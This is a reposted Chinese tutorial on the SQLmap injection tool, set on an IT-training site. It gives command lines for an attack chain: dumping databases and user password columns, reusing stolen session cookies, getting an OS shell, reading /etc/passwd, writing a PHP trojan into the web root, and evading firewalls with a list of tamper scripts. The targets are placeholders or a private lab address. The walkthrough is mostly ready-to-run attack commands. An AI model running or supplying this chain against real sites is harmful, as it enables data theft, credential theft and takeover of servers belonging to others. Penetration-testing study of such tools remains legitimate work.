文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

SQLmap 扫描工具的使用

2023-08-31 17:50

关注

一、SQLMap拖库:

SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。

当我们发现注入点的时候,

 sqlmap -u "http://xxx.xx.xx/security/read.php?id=1"

查看所有的数据库

 sqlmap -u "http://xxx.xxx.xxxx/security/read.php?id=1" --dbs

查看当前使用的数据库

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --current-db

发现使用的是learn数据库,接下来对此数据库进行查询

 sqlmap -u "http://xx.xxx.xxx./security/read.php?id=1" --tables -D "learn"

查出所有表以后,对user表的列名进行查询

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --columns -T "user" -D "learn"

users表中的列名已经知道了,可以直接查出所有数据

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"

完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容

直接指定数据库类型,节省检测时间

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbs --dbms=mysql

判断是否是DBA

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbms=mysql --is-dba

指定Payload级别

 --level=5: 探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。

自定义Referer和User-Agent

 --random-agent   从/usr/share/sqlmap/data/txt/user-agents.txt文件中随机读取一条User-Agent --user-agent=Qiang/Scanner    任意自定义user-agent --referer=https://xxx.xxx.xxx.xxx.com/test/1    自行指定referer

二、POST和Cookie

如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4"  --dbs

如果注入点不是GET请求,而是POST请求,则要添加POST正文

(1)先将POST请求在Burp中进行捕获,将请求内容保存到文件中。

 

(3)运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。

 sqlmap -r post文件 -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4"  --dbs

需要注意的是,由于URL地址已经在sql-post.txt的请求内容中,所以不再需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试所有的参数进行注入测试。如id=12345&name=woniu&addr=chengdu,此处3个参数都会被尝试。

 

新版本的SQLMap在处理HTTP请求类型时会进行自动检测,即使没有明确请求类型是GET还是POST,也是基本可以实现功能的。

三、OS-Shell

整个过程分为三个部分:

(1)猜测网站绝对路径

(2)尝试写入木马

(3)获取到Shell命令行

 sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --os-shell

手工读写文件

 # 读取远程服务器上的文件 sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-read "/etc/passwd" # 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入: sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php # 此时,也可以使用Python调用sqlmap的命令 (os.popen("").read())进行盲猜,循环遍历目录字典文件。 sqlmap -u  "http://192.168.36.150/security/read.php?id=1" --cookie="PHPSESSID=jbn47m13m6qbs4b5lq7ljp6nu0" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php --batch # --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。

常见的一些SQL注入语句: SQL注入语句大全_张自强的博客-CSDN博客_sql注入语句大全 SQLMapAPI:SqlmapApi学习 · Issue #69 · PyxYuYu/MyBlog · GitHub

四、Tamper绕过

用法

 --identify-waf 可以检查网站是否有安全防护(WAF/IDS/IPS) --tamper 参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。 命令:sqlmap.py -u "URL" --tamper "模块.py"

模块说明

 apostrophemask.py             # 将引号替换为UTF-8,用于过滤单引号 base64encode.py             # 替换为base64编码 multiplespaces.py             # 围绕sql关键字添加多个空格 space2plus.py                  # 用+号替换空格 nonrecursivereplacement.py     # 作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空) space2randomblank.py         # 将空格替换为其他有效字符 unionalltounion.py             # 将union all select 替换为union select securesphere.py             # 追加特制的字符串 space2hash.py                 # 将空格替换为#号,并添加一个随机字符串和换行符。 space2mssqlblank.py         # (mssql)将空格替换为其他空符号 space2mssqlhash.py             # 将空格替换为#号,并添加一个换行符 between.py                     # 用NOT BETWEEN 0 AND替换大于号,用BETWEEN AND替换等号 percentage.py                 # ASP允许在每个字符前面添加一个%号 sp_password.py                 # 从DBMS日志的自动模糊处理的有效载荷中追加sp_password charencode.py                 # 对给定的Payload全部字符使用URL编码(不处理已经编码的字符) randomcase.py                 # 随机大小写 charunicodeencode.py         # 字符串Unicode编码 space2comment.py             # 将空格替换为 equaltolike.py                 # 将等号替换为like greatest.py                 # 绕过对>的过滤,用GREATEST替换大于号 ifnull2ifisnull.py             # 绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A) modsecurityversioned.py     # 过滤空格,使用Mysql内联注释的方法进行注入 space2mysqlblank.py         # 将空格替换为其他空白符号(使用户MySQL) modsecurityzeroversioned.py # 使用mysql内联注释()的方式进行注入 space2mysqldash.py             # 将空格替换为--,并添加一个换行符。 bluecoat.py                 # 在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。 versionedkeywords.py        # 注释绕过 halfversionedmorekeywords.py # 当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释 space2morehash.py             # 将空格替换为#号,并添加一个随机字符串和换行符。 apostrophenullencode.py     # 用非法双字节unicode字符替换单引号 appendnullbyte.py             # 在有效载荷的结束为止加载零字节字符编码 chardoubleencode.py         # 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符) unmagicquotes.py             # 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。 randomcomments.py             # 用分割sql关键字 ​

工具使用|神器Sqlmap tamper的使用介绍

来源地址:https://blog.csdn.net/m0_61990875/article/details/127440458

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯